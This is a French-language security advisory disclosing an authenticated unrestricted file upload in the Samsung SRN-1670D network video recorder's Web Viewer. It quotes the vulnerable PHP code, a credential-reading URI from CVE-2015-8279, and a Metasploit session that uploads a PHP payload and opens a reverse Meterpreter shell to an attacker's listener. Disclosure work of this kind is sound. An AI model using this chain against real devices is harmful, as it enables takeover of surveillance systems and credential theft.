
Vulnérabilité de téléchargement de fichier sans restriction - Web Viewer 1.0.0.193 sur Samsung SRN-1670D
Omar Mezrag - 0xFFFFFF
Enregistreurs vidéo réseau Samsung - Web Viewer 1.0.0.193 sur Samsung SRN-1670D
Hanwha / Samsung Security - https://www.hanwhasecurity.com/
Vulnérabilité de téléchargement de fichier sans restriction
AccessVector (AV) : Réseau
User Interaction (UI) : Aucune
Authentication (Au) : Nécessite une seule instance
Exécution de code (ROOT)
network_ssl_upload.php (testé)
network_802_1x1.php (suspecté)
network_802_1x2.php (suspecté)
Le Web Viewer 1.0.0.193 sur le dispositif Samsung SRN-1670D souffre d'une vulnérabilité de téléchargement de fichier sans restriction : 'network_ssl_upload.php' permet à des attaquants authentifiés à distance de télécharger et d'exécuter du code PHP arbitraire via un nom de fichier avec une extension .php, qui est ensuite accédé par une requête directe au fichier dans le répertoire upload/. Pour s'authentifier pour cette attaque, on peut obtenir les identifiants de l'interface web en texte clair en exploitant la vulnérabilité existante de lecture de fichier local référencée sous CVE-2015-8279, qui permet à des attaquants distants de lire les identifiants de l'interface web via une requête pour l'URI :
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw
22 $path = "./upload/";
23 $file = $_FILES[ "attachFile" ];
24 $isApply = ( int )$_POST[ "is_apply" ];
25 $isInstall = ( int )$_POST[ "isInstall" ];
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
27
28 // create socket
29 $N_message = "";
30 $sock = mySocket_create($_is_unix_socket);
31 $connected = mySocket_connect($_is_unix_socket, $sock);
32
33 $loginInfo = new loginInfo();
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
36 if ($connected) {
37 $id = $loginInfo->get_id();
38 $xmlFile = $id.'_config.xml';
39 $N_message = "dummy".nvr_command::DELIM;
40 $N_message .= "userid ".$id.nvr_command::DELIM;
41
42 if ( $isInstall == 1 ) {
43 // File upload ===============================================================
44 if ( $file[ "error" ] 0 ) {
45 $Error = "Error: ".$file[ "error" ];
46 } else {
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
48 }
49 // ===========================================================================
50 }
Module Metasploit : samsung_srv_1670d_upload_exec
msf exploit(samsung_srv_1670d_upload_exec) > show options
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.200 yes The target address.
RPORT 80 yes The target port (TCP).
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.122 yes The listen address
LPORT 4358 yes The listen port
Exploit target:
Id Name
-- ----
0 Samsung SRN-1670D == 1.0.0.193
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.122:4358
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
D'autres scripts comme 'network_802_1x1.php' et 'network_802_1x2.php' sont peut-être affectés par la même vulnérabilité mais je ne les ai pas testés.
CVE-2015-8279 : http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html